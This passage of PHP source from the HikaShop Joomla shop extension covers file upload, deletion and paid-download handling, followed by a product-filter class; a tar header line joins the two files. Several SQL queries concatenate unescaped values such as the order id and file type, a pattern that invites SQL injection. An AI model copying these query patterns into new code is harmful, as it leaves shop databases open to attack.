							$imageHelper->resizeImage($file_path);
						}

						$imageHelper->generateThumbnail($file_path);
					}
					$element = new stdClass();
					$element->file_path = $file_path;
					if(!empty($subPath)) {
						$element->file_path = trim($subPath, DS.'
').DS.$file_path;
					}
					$element->file_type = $type;
					$element->file_ref_id = $pkey;
					$status = $this->save($element);
					if($status) {
						$ids[$id] = $status;
					}
				}
			}
		}elseif(JRequest::getVar('ctrl')=='product'){
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::_(
'ADD_FILE_VIA_BROWSE_BUTTON'),'error');
		}

		if(!empty($ids)){
			switch($type){
				case 'category':
					$query = 'DELETE FROM
'.hikashop_table(end($this->tables)).' WHERE file_id NOT IN
('.implode(',',$ids).') AND file_ref_id =
'.$pkey.' AND file_type=\'category\'';
					$this->database->setQuery($query);
					$this->database->query();
					break;
			}
		}
		return $ids;
	}

	function deleteFiles($type,$pkeys, $ignoreFile=false){
		if(!is_array($pkeys)) $pkeys = array($pkeys);
		$uploadPath = $this->getPath($type);
		$query = 'SELECT * FROM
'.hikashop_table(end($this->tables)).' WHERE file_ref_id IN
('.implode(',',$pkeys).') AND
file_type=\''.$type.'\'';
		$this->database->setQuery($query);
		$oldEntries = $this->database->loadObjectList();

		if(!empty($oldEntries)){
			$paths = array();
			$ids = array();
			foreach($oldEntries as $old){
				$paths[] = $this->database->Quote($old->file_path);
				$ids[] = $old->file_id;
			}
			$query = 'SELECT file_path FROM
'.hikashop_table(end($this->tables)).' WHERE file_path IN
('.implode(',',$paths).') AND file_id NOT IN
('.implode(',',$ids).')';
			$this->database->setQuery($query);
			if(!HIKASHOP_J25){
				$stillUsed = $this->database->loadResultArray();
			} else {
				$stillUsed = $this->database->loadColumn();
			}
			if(!$ignoreFile){
				jimport('joomla.filesystem.folder');
				$thumbnail_folders = JFolder::folders($uploadPath);
				if(JFolder::exists($uploadPath.'thumbnails')) {
					$other_thumbnail_folders =
JFolder::folders($uploadPath.'thumbnails');
					foreach($other_thumbnail_folders as $other_thumbnail_folder) {
						$thumbnail_folders[] =
'thumbnails'.DS.$other_thumbnail_folder;
					}
				}
				foreach($oldEntries as $old){
					if((empty($stillUsed) || !in_array($old->file_path, $stillUsed))
&& JFile::exists($uploadPath . $old->file_path)) {
						JFile::delete($uploadPath . $old->file_path);
						foreach($thumbnail_folders as $thumbnail_folder) {
							if($thumbnail_folder != 'thumbnail' &&
substr($thumbnail_folder, 0, 9) != 'thumbnail' &&
substr($thumbnail_folder, 0, 11) != ('thumbnails'.DS))
								continue;
							if(!in_array($type,array('file','watermark'))
&&
JFile::exists($uploadPath.$thumbnail_folder.DS.$old->file_path)) {
								JFile::delete( $uploadPath .$thumbnail_folder.DS.
$old->file_path );
							}
						}
					}
				}
			}
			$query = 'DELETE FROM
'.hikashop_table(end($this->tables)).' WHERE file_ref_id IN
('.implode(',',$pkeys).') AND
file_type=\''.$type.'\'';
			$this->database->setQuery($query);
			$this->database->query();
			$elements = array();
			foreach($oldEntries as $old){
				$elements[]=$old->file_id;
			}
			$class = hikashop_get('helper.translation');
			$class->deleteTranslations('file',$elements);
		}
	}

	function resetdownload($file_id,$order_id=0,$file_pos=0){
		$query = 'UPDATE '.hikashop_table('download').'
SET download_number=0 WHERE file_id='.(int)$file_id;
		if(!empty($order_id)){
			$query .= ' AND order_id='.(int)$order_id;
		}
		if(!empty($file_pos)){
			$query .= ' AND file_pos='.(int)$file_pos;
		}
		$this->database->setQuery($query);
		return $this->database->query();
	}

	function download($file_id, $order_id = 0, $file_pos = 1){
		$app = JFactory::getApplication();
		$file = $this->get($file_id);
		$file_pos = (int)$file_pos;
		if($file_pos <= 0)
			$file_pos = 1;
		if(!$app->isAdmin() && empty($file->file_free_download)){
			$user_id = hikashop_loadUser();
			if(empty($user_id)){
				$app->enqueueMessage(JText::_('PLEASE_LOGIN_FIRST'));
				$this->error_type = 'login';
				return false;
			}

			$orderClass = hikashop_get('class.order');
			$order = $orderClass->get($order_id);
			$file->order = $order;
			if(empty($order) || $order->order_user_id != $user_id){
				$app->enqueueMessage(JText::_('ORDER_NOT_FOUND'));
				$this->error_type = 'no_order';
				return false;
			}
			if($order->order_type != 'sale'){
				$app->enqueueMessage(JText::_('WRONG_ORDER'));
				$this->error_type = 'wrong_order';
				return false;
			}
			$config =& hikashop_config();
			$order_status_for_download =
$config->get('order_status_for_download','confirmed,shipped');
			if(!in_array($order->order_status,explode(',',$order_status_for_download))){
				$app->enqueueMessage(JText::_('BECAUSE_STATUS_NO_DOWNLOAD'));
				$this->error_type = 'status';
				return false;
			}

			$download_time_limit =
$config->get('download_time_limit',0);
			if(!empty($download_time_limit) &&
($download_time_limit+$order->order_created)<time()){
				$app->enqueueMessage(JText::_('TOO_LATE_NO_DOWNLOAD'));
				$this->error_type = 'date';
				return false;
			}

			$query = 'SELECT a.* FROM
'.hikashop_table('order_product').' AS a WHERE
a.order_id = '.$order_id;
			$this->database->setQuery($query);
			$order->products = $this->database->loadObjectList();

			$product_ids = array();
			foreach($order->products as $product){
				if((int)$product->order_product_quantity >= $file_pos ||
$file_pos == 1)
					$product_ids[] = $product->product_id;
			}
			if(empty($product_ids)) {
				$app->enqueueMessage(JText::_('INVALID_FILE_NUMBER'));
				$this->error_type = 'status';
				return false;
			}
			$query = 'SELECT * FROM
'.hikashop_table('product').' WHERE product_id IN
('.implode(',',$product_ids).') AND
product_type=\'variant\'';
			$this->database->setQuery($query);
			$products = $this->database->loadObjectList();
			if(!empty($products)){
				foreach($products as $product){
					foreach($order->products as $item){
						if($product->product_id == $item->product_id &&
!empty($product->product_parent_id)){
							$item->product_parent_id = $product->product_parent_id;
							$product_ids[] = $product->product_parent_id;
						}
					}
				}
			}

			$filters = array(
				'a.file_ref_id IN
('.implode(',',$product_ids).')',
				'a.file_type=\'file\'',
				'a.file_id='.$file_id
			);

			if(substr($file->file_path,0,1) == '@' ||
substr($file->file_path,0,1) == '#') {
				$query = 'SELECT a.*,b.* FROM
'.hikashop_table('file').' AS a '.
					' LEFT JOIN '.hikashop_table('download').' AS
b ON b.order_id='.$order->order_id.' AND a.file_id = b.file_id
AND b.file_pos = '.$file_pos.
					' WHERE '.implode(' AND ',$filters);
			} else {
				$query = 'SELECT a.*, b.*, c.order_product_quantity FROM
'.hikashop_table('file').' AS a '.
					' LEFT JOIN '.hikashop_table('download').' AS
b ON b.order_id='.$order->order_id.' AND a.file_id = b.file_id
'.
					' LEFT JOIN
'.hikashop_table('order_product').' AS c ON
c.order_id='.$order->order_id.' AND c.product_id =
a.file_ref_id '.
					' WHERE '.implode(' AND ',$filters);
			}

			$this->database->setQuery($query);
			$fileData = $this->database->loadObject();
			if(!empty($fileData)){
				if(!empty($file->file_limit) && (int)$file->file_limit !=
0)
					$download_number_limit = (int)$file->file_limit;
				else
					$download_number_limit =
$config->get('download_number_limit',0);

				if($download_number_limit < 0)
					$download_number_limit = 0;

				if(isset($fileData->order_product_quantity) &&
(int)$fileData->order_product_quantity > 0)
					$download_number_limit *= (int)$fileData->order_product_quantity;

				if(!empty($download_number_limit) && $download_number_limit
<= $fileData->download_number) {
					$app->enqueueMessage(JText::_('MAX_REACHED_NO_DOWNLOAD'));
					$this->error_type = 'limit';
					return false;
				}
			}else{
				$app->enqueueMessage(JText::_('FILE_NOT_FOUND'));
				$this->error_type = 'no_file';
				return false;
			}
		}

		if(!empty($file)){
			$path = $this->getPath('file');
			if(substr($file->file_path,0,7) == 'http://' ||
substr($file->file_path,0,1) == '@' ||
substr($file->file_path,0,1) == '#' ||
file_exists($path.$file->file_path) || file_exists($file->file_path)
){
				if(!$app->isAdmin()){
					if(!empty($file->file_free_download)){
						$order_id = 0;
					}
					$query = 'SELECT * FROM
'.hikashop_table('download').' WHERE
file_id='.$file->file_id.' AND
order_id='.$order_id.' AND file_pos='.$file_pos;
					$this->database->setQuery($query);
					$download = $this->database->loadObject();
					if(empty($download)){
						$query = 'INSERT INTO
'.hikashop_table('download').'(file_id,order_id,download_number,file_pos)
VALUES('.$file->file_id.','.$order_id.',1,'.$file_pos.');';
					}else{
						$query = 'UPDATE
'.hikashop_table('download').' SET
download_number=download_number+1 WHERE
file_id='.$file->file_id.' AND
order_id='.$order_id.' AND file_pos='.$file_pos;
					}
					$this->database->setQuery($query);
					$this->database->query();
				}
				$file->order_id = (int)$order_id;
				$file->file_pos = $file_pos;
				$this->sendFile($file, true, $path);
			}
		}
		$app->enqueueMessage(JText::_('FILE_NOT_FOUND'));
		return true;
	}

	function sendFile(&$file, $is_resume=true, $path=null,
$options=array()){
		if(empty($path)) {
			$path = $this->getPath('file');
		}

		$file->file_path = trim($file->file_path);

		$filename = $path.$file->file_path;
		if(substr($file->file_path,0,7) == 'http://' ||
substr($file->file_path,0,1) == '@' ||
substr($file->file_path,0,1) == '#' ||
file_exists($file->file_path) ){
			$filename = $file->file_path;
		}
		JPluginHelper::importPlugin('hikashop');
		$dispatcher = JDispatcher::getInstance();
		$do = true;
		$dispatcher->trigger( 'onBeforeDownloadFile', array(
&$filename, &$do, &$file) );
		if(!$do) return false;

		if(substr($filename,0,7) == 'http://' ) {
			header('location: '.$filename);
			exit;
		}
		if(substr($filename,0,1) == '@' || substr($filename,0,1) ==
'#') {
			exit;
		}

		clearstatcache();
		$size = filesize($filename);
		$fileinfo = pathinfo($filename);

		ob_end_clean();
		ob_start();

		$name = (strstr($_SERVER['HTTP_USER_AGENT'], 'MSIE'))
?
						preg_replace('/\./', '%2e',
$fileinfo['basename'],
substr_count($fileinfo['basename'], '.') - 1) :
						$fileinfo['basename'];

		$range = '';
		if($is_resume && isset($_SERVER['HTTP_RANGE'])) {
			list($size_unit, $range_orig) = explode('=',
$_SERVER['HTTP_RANGE'], 2);

			if ($size_unit == 'bytes') 	{
				list($range, $extra_ranges) = explode(',', $range_orig, 2);
			}
		}

		$seek = explode('-', $range, 2);

		$seek_end = (empty($seek[1])) ? ($size - 1) :
min(abs(intval($seek[1])),($size - 1));
		$seek_start = (empty($seek[0]) || $seek_end < abs(intval($seek[0]))) ?
0 : max(abs(intval($seek[0])),0);

		if(!empty($options['thumbnail_x']) ||
!empty($options['thumbnail_y'])) {
			$extension = strtolower(substr($filename, strrpos($filename,
'.') + 1));
			if(in_array($extension,
array('jpg','jpeg','png','gif')))
{
				if(!ini_get('safe_mode')){
					set_time_limit(0);
				}

				$imageHelper = hikashop_get('helper.image');
				$img = $imageHelper->getThumbnail($filename, array(100,100),
array(), false, false);
				if($img->success && !empty($img->data)) {

					$format = $extension;
					if($format == 'jpg') $format = 'jpeg';

					header("Expires: 0");
					header("Last-Modified: " . gmdate("D, d M Y
H:i:s") . " GMT");
					header('Content-Type: image/'.$format);
					header('Content-Disposition: attachment; filename="' .
$name . '"');
					header('Content-Length: '.strlen($img->data));
					header("Cache-Control: maxage=1");
					header("Pragma: public");
					header("Content-Transfer-Encoding: binary");

					echo $img->data;

					flush();
					ob_flush();
					unset($img->data);
					unset($img);
					exit;
				}
			}
		}

		if ($is_resume) {
			if ($seek_start > 0 || $seek_end < ($size - 1)) {
				header('HTTP/1.1 206 Partial Content');
			}

			header('Accept-Ranges: bytes');
			header('Content-Range: bytes
'.$seek_start.'-'.$seek_end.'/'.$size);
		}

		header("Expires: 0");
		header("Last-Modified: " . gmdate("D, d M Y H:i:s") .
" GMT");
		header('Content-Type: application/octet-stream');
		header('Content-Disposition: attachment; filename="' .
$name . '"');
		header('Content-Length: '.($seek_end - $seek_start + 1));
		header("Cache-Control: maxage=1");
		header("Pragma: public");
		header("Content-Transfer-Encoding: binary");

		$fp = fopen($filename, 'rb');
		fseek($fp, $seek_start);
		if(!ini_get('safe_mode')){
			set_time_limit(0);
		}
		while(!feof($fp)) {
			print(fread($fp, 8192));
			flush();
			ob_flush();
		}

		fclose($fp);
		exit;
	}

	function
downloadFieldFile($name,$field_table,$field_namekey,$options=array()){
		$app = JFactory::getApplication();
		if(!$app->isAdmin()){
			$found = false;
			switch($field_table){
				case 'entry':
					$entriesData =
$app->getUserState(HIKASHOP_COMPONENT.'.entries_fields');
					if(!empty($entriesData)){
						foreach($entriesData as $entryData){
							if(@$entryData->$field_namekey==$name){
								$found = true;
							}
						}
					}
					break;
				case 'order':
					$orderData = $app->getUserState(
HIKASHOP_COMPONENT.'.checkout_fields');
					if(@$orderData->$field_namekey==$name){
						$found = true;
					}
					break;
				case 'item':
					$class = hikashop_get('class.cart');
					$products = $class->get();
					if(!empty($products)){
						foreach( $products as $product ){
							if(@$product->$field_namekey==$name){
								$found = true;
							}
						}
					}
					break;
				default:
					break;
			}
			if(!$found){
				switch($field_table){
					case 'order':
						$this->database->setQuery('SELECT order_id FROM
'.hikashop_table('order').' WHERE
order_user_id='.hikashop_loadUser().' AND
'.$field_namekey.' =
'.$this->database->Quote($name));
						break;
					case 'item':
						$this->database->setQuery('SELECT b.order_product_id FROM
'.hikashop_table('order').' AS a LEFT JOIN
'.hikashop_table('order_product').' AS b ON
a.order_id=b.order_id WHERE a.order_user_id='.hikashop_loadUser().
' AND b.'.$field_namekey.' =
'.$this->database->Quote($name));
						break;
					case 'entry':
						$this->database->setQuery('SELECT b.entry_id FROM
'.hikashop_table('order').' AS a LEFT JOIN
'.hikashop_table('entry').' AS b ON
a.order_id=b.order_id WHERE
a.order_user_id='.hikashop_loadUser().' AND
b.'.$field_namekey.' =
'.$this->database->Quote($name));
						break;
					case 'user':
						$this->database->setQuery('SELECT user_id FROM
'.hikashop_table('user').' WHERE
user_id='.hikashop_loadUser().' AND '.$field_namekey.'
= '.$this->database->Quote($name));
						break;
					case 'address':
						$this->database->setQuery('SELECT address_id FROM
'.hikashop_table('address').' WHERE
address_user_id='.hikashop_loadUser().' AND
'.$field_namekey.' =
'.$this->database->Quote($name));
						break;
					case 'product':
						$filters = array($field_namekey.' =
'.$this->database->Quote($name),'product_published=1');
						hikashop_addACLFilters($filters,'product_access');
						$this->database->setQuery('SELECT product_id FROM
'.hikashop_table('product').' WHERE
'.implode(' AND ',$filters));
						break;
					case 'category':
						$filters = array($field_namekey.' =
'.$this->database->Quote($name),'category_published=1');
						hikashop_addACLFilters($filters,'category_access');
						$this->database->setQuery('SELECT category_id FROM
'.hikashop_table('category').' WHERE
'.implode(' AND ',$filters));
						break;
					default:
						return false;
				}
				$result = $this->database->loadResult();
				if($result){
					$found = true;
				}
			}
			if(!$found){
				return false;
			}
		}
		$path = $this->getPath('file');

		if(file_exists($path . $name)) {
			$file = new stdClass();
			$file->file_path = $name;
			$this->sendFile($file, true, $path, $options);
		}
		return false;
	}

	function getPath($type, $subPath = '') {
		$app = JFactory::getApplication();
		jimport('joomla.filesystem.file');
		$config =& hikashop_config();
		if($type=='file') {
			$uploadFolder = $config->get('uploadsecurefolder');
		} else {
			$uploadFolder = $config->get('uploadfolder');
		}

		$uploadFolder = rtrim(JPath::clean(html_entity_decode($uploadFolder)),
DS.' ').DS;
		if(!preg_match('#^([A-Z]:)?/.*#',$uploadFolder)) {
			if(!$uploadFolder[0]=='/' || !is_dir($uploadFolder)) {
				$uploadFolder = JPath::clean(HIKASHOP_ROOT.DS.trim($uploadFolder,
DS.' ').DS);
			}
		}

		if(!empty($subPath)) {
			$subPath = trim($subPath, DS.' ').DS;
		}

		$this->checkFolder($uploadFolder.$subPath);
		if($type!='file'){
			$this->checkFolder($uploadFolder.$subPath.'thumbnail'.DS);
		}
		return $uploadFolder;
	}

	function checkFolder($uploadPath){
		if(!is_dir($uploadPath)){
			jimport('joomla.filesystem.folder');
			JFolder::create($uploadPath);
		}
		if(!is_writable($uploadPath)){
			@chmod($uploadPath,'0755');
			if(!is_writable($uploadPath)){
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::sprintf(
'WRITABLE_FOLDER',$uploadPath), 'notice');
				return false;
			}
		}
		return true;
	}
}
filter.php000064400000252512151160302620006545 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class hikashopFilterClass extends hikashopClass{

	var $tables = array('filter');
	var $pkeys = array('filter_id');
	var $toggle =
array('filter_published'=>'filter_id');

	function saveForm(){
		$app = JFactory::getApplication();
		$filter = new stdClass();
		$filter->filter_id = hikashop_getCID('filter_id');
		$new=false;
		$problem=false;
		if(empty($filter->filter_id)) $new = true;
		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		foreach($formData['filter'] as $column => $value){
			hikashop_secureField($column);
			if(is_array($value)){
				$value = implode(',',$value);
			}
			$filter->$column = strip_tags($value);
		}

		if(empty($filter->filter_name)){
			$app->enqueueMessage(JText::_('SPECIFY_A_NAME'),
'error');
			$problem = true;
		}

		if(empty($filter->filter_id)){
			$filter->filter_namekey=$filter->filter_name;
			$search =
explode(",","ç,æ,œ,á,é,í,ó,ú,à,è,ì,ò,ù,ä,ë,ï,ö,ü,ÿ,â,ê,î,ô,û,å,e,i,ø,u");
			$replace =
explode(",","c,ae,oe,a,e,i,o,u,a,e,i,o,u,a,e,i,o,u,y,a,e,i,o,u,a,e,i,o,u");
			$test = str_replace($search, $replace, $filter->filter_namekey);
			$test=preg_replace('#[^a-z0-9_-]#i','',$test);

			if(empty($test)){
				$query = 'SELECT MAX(`filter_id`) FROM
'.hikashop_table('filter');
				$this->database->setQuery($query);
				$last_pid = $this->database->loadResult();
				$last_pid++;
				$filter->filter_namekey = 'filter_'.$last_pid;
			}else{
				$query = 'SELECT filter_id FROM
'.hikashop_table('filter').' WHERE filter_namekey  =
'.$this->database->Quote($filter->filter_name).' AND
filter_id!='.(int)$filter->filter_id.' LIMIT 1';
				$this->database->setQuery($query);
				if($this->database->loadResult()){
					$app = JFactory::getApplication();
					$app->enqueueMessage(JText::_( 'DUPLICATE_PRODUCT' ),
'error');
					JRequest::setVar( 'fail', $filter  );
					return false;
				}
				$test = str_replace($search, $replace, $filter->filter_name);
				$filter->filter_namekey =
preg_replace('#[^a-z0-9_-]#i','_',$test);
			}
		}


		if($formData['filter']['filter_type']=='text'){
			$filter->filter_data=serialize(@$formData['filter']['filter_data_text']);
		}else
if($formData['filter']['filter_type']=='cursor'){
			$filter->filter_data=serialize(@$formData['filter']['filter_data_cursor']);
		}else{
			$filter->filter_data=serialize(@$formData['filter']['filter_data']);
		}

		if($formData['filter']['filter_type']=='checkbox'
&&
$formData['filter']['filter_data']=='sort'){
			$app->enqueueMessage(JText::sprintf('NOT_COMPAT_WITH_SORTING',JText::_('FIELD_CHECKBOX'),JText::_('FIELD_RADIO')));
			$filter->filter_type='radio';
		}
		if($formData['filter']['filter_type']=='multipledropdown'
&&
$formData['filter']['filter_data']=='sort'){
			$app->enqueueMessage(JText::sprintf('NOT_COMPAT_WITH_SORTING',JText::_('FIELD_MULTIPLEDROPDOWN'),JText::_('FIELD_SINGLEDROPDOWN')));
			$filter->filter_type='singledropdown';
		}

		if(($formData['filter']['filter_type']=='checkbox'
||
$formData['filter']['filter_type']=='radio'
||
$formData['filter']['filter_type']=='cursor')
&&
@$formData['filter']['title_position']=='inside'){
			$app->enqueueMessage(JText::_('NO_TITLE_INSIDE'));
			$filter->filter_options['title_position']='top';
		}else{
		$filter->filter_options['title_position']=@$formData['filter']['title_position'];
		}

		if(empty($formData['filter']['filter_currencies'])
&&
$formData['filter']['filter_data']=='price'
&&
$formData['filter']['filter_type']!='text'
&&
$formData['filter']['filter_type']!='cursor'){
			$app->enqueueMessage(JText::_('NO_CURRENCY_SELECTED'));
			$formData['filter']['filter_currencies']=array();
			$formData['filter']['filter_currencies'][0]=1;
		}
		if($formData['filter']['filter_data']=='custom_field'){
			if($formData['filter']['filter_category_childs']){
				$categories_filter=array();
				$categoryClass = hikashop_get('class.category');
				$childs =
$categoryClass->getChilds($formData['filter']['filter_category_id'],true);
				foreach($childs as $cat){
					 $categories_filter[]='field_categories LIKE
\'%,'.$cat->category_id.',%\'';
				}
				$filters=implode(' OR ',$categories_filter);
				if(empty($filters)){
					$filters.= ' field_categories LIKE
\'%,'.(int)$formData['filter']['filter_category_id'].',%\'';
				}else{
					$filters.= 'OR field_categories LIKE
\'%,'.(int)$formData['filter']['filter_category_id'].',%\'';
				}
			}else{
				$filters= 'field_categories LIKE
\'%,'.(int)$formData['filter']['filter_category_id'].',%\'';
			}
			$found=false;

			if(!empty($formData['filter']['custom_field'])){
				$database = JFactory::getDBO();
				$database->setQuery('SELECT * FROM
'.hikashop_table('field').' WHERE
('.$filters.' OR field_categories LIKE "all") AND
field_table IN ("product") AND field_published=1');
				$fields=$database->loadObjectList('field_realname');
				if(!empty($fields)){
					foreach($fields as $field){
						if($field->field_namekey==$formData['filter']['custom_field']){
							$filter->filter_options['custom_field']=$formData['filter']['custom_field'];
							$found=true;
							break;
						}
					}
				}
			}
			if(!$found){
				$app->enqueueMessage(JText::_('CUSTOM_FIELD_NOT_AVAILABLE_FOR_CATEGORY'));
				if(!empty($fields)){
					$fields=reset($fields);
					$filter->filter_options['custom_field']=$fields->field_namekey;
				}else{
					$filter->filter_options['custom_field']='';
				}
			}
		}

		$filterValues = JRequest::getVar('filter_values', array(),
'', 'array' );
		if(!empty($filterValues)){
			$filterValuesFinal=array();
			foreach($filterValues['value'] as $key => $value){
				if(is_numeric($value)){
					$filterValuesFinal[]=
strip_tags($key).'::'.strip_tags($value);
				}
			}
			$filter->filter_value=implode("\n",$filterValuesFinal);
		}

		$filter->filter_options['column_width']=$formData['filter']['column_width'];
		if(!empty($formData['filter']['filter_size'])){
			$filter->filter_options['filter_size']=$formData['filter']['filter_size'];
		}else{
			$filter->filter_options['filter_size']=1;
		}
		if($formData['filter']['filter_type']=='cursor'){
			$filter->filter_options['cursor_number']=$formData['filter']['cursor_number'];

			if(empty($formData['filter']['cursor_min'])){
				$formData['filter']['cursor_min']='0';
			}
			if(empty($formData['filter']['cursor_max']) ||
$formData['filter']['cursor_min']==$formData['filter']['cursor_max']){
				$app->enqueueMessage(JText::_('MIN_MAX_NOT_SET'),
'error');
				$problem = true;
			}
			$filter->filter_options['cursor_min']=$formData['filter']['cursor_min'];
			$filter->filter_options['cursor_max']=$formData['filter']['cursor_max'];
			$filter->filter_options['cursor_step']=$formData['filter']['cursor_step'];
			$filter->filter_options['cursor_effect']=$formData['filter']['cursor_effect'];
			$filter->filter_options['cursor_width']=$formData['filter']['cursor_width'];
			$filter->filter_options['cursor_width']=$formData['filter']['cursor_width'];
			$filter->filter_options['title_position']=$formData['filter']['title_position_cursor'];
		}
		if(!empty($formData['filter']['defined_limits'])){
			$filter->filter_options['defined_limits']=@$formData['filter']['defined_limits'];
		}
		if($formData['filter']['filter_data']=='price'){
			$filter->filter_options['currencies']=@$formData['filter']['filter_currencies'];
		}
		if($formData['filter']['filter_type']=='text'){
			$filter->filter_options['max_char']=$formData['filter']['max_char'];
			$filter->filter_options['textBoxSize']=$formData['filter']['textBoxSize'];
			$filter->filter_options['searchProcessing']=$formData['filter']['searchProcessing'];
		}

		if($formData['filter']['filter_data']=='characteristic'){
			$filter->filter_options['filter_charac']=$formData['filter']['filter_charac'];
		}

		if($formData
['filter']['filter_data']=='information' ||
$formData
['filter']['filter_type']=='cursor'){
			if(($formData['filter']['product_information']=='weight'
&& $formData
['filter']['filter_type']!='cursor') ||
(($formData['filter']['filter_data_cursor']=='weight'
&& $formData
['filter']['filter_type']=='cursor')) ){
				$filter->filter_options['information_unit']=$formData['filter']['weight_unit'];
			}else{
				$filter->filter_options['information_unit']=$formData['filter']['dimension_unit'];
			}
		}

		if($formData
['filter']['filter_type']!='cursor'){
			$filter->filter_options['product_information']=$formData['filter']['product_information'];
		}else{
			$filter->filter_options['product_information']=$formData['filter']['filter_data'];
		}
		$filter->filter_options['button_align']=$formData['filter']['button_align'];

		if($formData['filter']['filter_data']=='sort'){
			if(isset($formData['filter']['sort_by'])){
				$filter->filter_options['sort_by']=$formData['filter']['sort_by'];
			}else{
				$app->enqueueMessage(JText::_('CHOOSE_SORT_OPTIONS'),
'error');
				$problem = true;
			}
		}
		$filter->filter_options['parent_category_id']=$formData['filter']['parent_category_id'];

		unset($filter->column_width);
		unset($filter->title_position);
		unset($filter->filter_size);
		unset($filter->cursor_number);
		unset($filter->cursor_min);
		unset($filter->cursor_max);
		unset($filter->filter_currencies);
		unset($filter->max_char);
		unset($filter->defined_limits);
		unset($filter->filter_charac);
		unset($filter->sort_by);
		unset($filter->product_information);
		unset($filter->custom_field);
		unset($filter->filter_data_text);
		unset($filter->filter_data_cursor);
		unset($filter->button_align);
		unset($filter->dimension_unit);
		unset($filter->weight_unit);
		unset($filter->information_unit);
		unset($filter->parent_category_id);
		unset($filter->textBoxSize);
		unset($filter->cursor_step);
		unset($filter->cursor_effect);
		unset($filter->cursor_width);
		unset($filter->title_position_cursor);
		unset($filter->searchProcessing);

		if($problem){
			JRequest::setVar( 'fail', $filter  );
		}else{
			$status = $this->save($filter);

			if($new && $status){
				$orderClass = hikashop_get('helper.order');
				$orderClass->pkey = 'filter_id';
				$orderClass->table = 'filter';
				$orderClass->orderingMap = 'filter_ordering';
				$orderClass->reOrder();
			}
			JRequest::setVar( 'filter_id', $filter->filter_id);
			return $status;
		}
		return false;
	}

	function save(&$filter){
		if(isset($filter->filter_options) &&
is_array($filter->filter_options)){
			$filter->filter_options=serialize($filter->filter_options);
		}
		$return = parent::save($filter);
		return $return;
	}

	function getFilters($category_id){
		$database = JFactory::getDBO();
		$conditions = array('filter_published = 1');
		hikashop_addACLFilters($conditions,'filter_access');
		$query='SELECT * FROM
'.hikashop_table('filter').' WHERE
'.implode(' AND ',$conditions).' ORDER BY
filter_ordering';
		$database->setQuery($query);
		$filters=$database->loadObjectList();

		$filterList=array();
		foreach($filters as $filter){
			$filter->filter_options=unserialize($filter->filter_options);
			$filter->filter_data=unserialize($filter->filter_data);
			if(!empty($filter->filter_value)){
				$filter->filter_value=explode("\n",
$filter->filter_value);
				foreach($filter->filter_value as $key => $val){
					$temp=explode("::", $val);
					$filter->filter_value[$key]=$temp[1];
				}
				sort($filter->filter_value);
			}
		}

		if(!empty($category_id)){
			$categoryClass = hikashop_get('class.category');
			$parents = $categoryClass->getParents($category_id);

			foreach($filters as $filter){
				if(empty($filter->filter_category_id) ||
$filter->filter_category_id==$category_id){
					$filterList[]=$filter;
				}else{
					if($filter->filter_category_childs==1){
						foreach($parents as $parent){
								if($parent->category_id == $filter->filter_category_id){
									$filterList[]=$filter;
									break;
								}
						}
					}
				}
			}
		}else{
			return $filters;
		}

		return $filterList;
	}

	function displayFilter($filter, $divName, &$parent,
$datas=''){
		$html ='';
		if($filter->filter_type=='text' ||
$filter->filter_type=='singledropdown' ||
$filter->filter_type=='multipledropdown' ||
$filter->filter_type=='radio' ||
$filter->filter_type=='list' ||
$filter->filter_type=='checkbox' ||
$filter->filter_type=='cursor' ||
$filter->filter_type=='instockcheckbox'){
			$classType =
'hikashop'.ucfirst($filter->filter_type).'Class';
			$class = new $classType();
			$html = $class->display($filter, $divName, $parent, $datas);
		}else{
			JPluginHelper::importPlugin( 'hikashop' );
			$dispatcher = JDispatcher::getInstance();
			$dispatcher->trigger( 'onFilterDisplay', array( &
$filter ,&$html, &$divName, &$parent, &$datas) );
		}
		return $html;
	}

	function
addFilter(&$filter,&$filters,&$select,&$select2,&$a,&$b,&$on,&$order,&$parent,
$divName){
		if($filter->filter_type=='text' ||
$filter->filter_type=='singledropdown' ||
$filter->filter_type=='multipledropdown' ||
$filter->filter_type=='radio' ||
$filter->filter_type=='list' ||
$filter->filter_type=='checkbox' ||
$filter->filter_type=='cursor' ||
$filter->filter_type=='instockcheckbox'){
			$classType =
'hikashop'.ucfirst($filter->filter_type).'Class';
			$class = new $classType();
			$html =
$class->addFilter($filter,$filters,$select,$select2,$a,$b,$on,$order,$parent,
$divName);
		}else{
			JPluginHelper::importPlugin( 'hikashop' );
			$dispatcher = JDispatcher::getInstance();
			$dispatcher->trigger( 'onFilterAdd', array( & $filter
,&$filters, &$select, &$select2, &$a, &$b, &$on,
&$order, &$divName, &$parent) );
		}
	}
	function getFieldToLoad($filter, $divName, &$parent){
		$html ='';
		if($filter->filter_type=='text' ||
$filter->filter_type=='singledropdown' ||
$filter->filter_type=='multipledropdown' ||
$filter->filter_type=='radio' ||
$filter->filter_type=='list' ||
$filter->filter_type=='checkbox' ||
$filter->filter_type=='cursor' ||
$filter->filter_type=='instockcheckbox'){
			$classType =
'hikashop'.ucfirst($filter->filter_type).'Class';
			$class = new $classType();
			$html = $class->getFieldToLoad($filter, $divName, $parent);
		}else{
			JPluginHelper::importPlugin( 'hikashop' );
			$dispatcher = JDispatcher::getInstance();
			$dispatcher->trigger( 'onFilterToLoad', array( &
$filter ,&$html, &$divName, &$parent) );
		}
		return $html;
	}

	function getProductList(&$parent, $filters){
		$fields='';
		$datas = array();
		$copy_query = $parent->listingQuery;
		if(!empty($filters)){
			foreach($filters as $filter){
				$fields[$filter->filter_namekey]=$this->getFieldToLoad($filter,
$parent->params->get('main_div_name'), $parent);
				if($filter->filter_data=='category' &&
strpos($copy_query,'
'.hikashop_table('product_category').' AS
a')===false){
					$copy_query=str_replace('WHERE','LEFT JOIN
'.hikashop_table('product_category').' AS a ON
b.product_id=a.product_id WHERE',$copy_query);
				}
			}
		}
		$fieldsLimits = array();
		if(!empty($fields)){
			foreach($fields as $key => $field){
				if(empty($field)){
					unset($fields[$key]);
				}else{
					$fields[$key]=$field;
					$fieldsLimits[]='max('.$field.') as
max_'.$key.'';
					$fieldsLimits[]='min('.$field.') as
min_'.$key.'';
				}
			}
			$fields=implode(', ', $fields);
			if(!empty($fields)){ $fields=','.$fields; }
		}
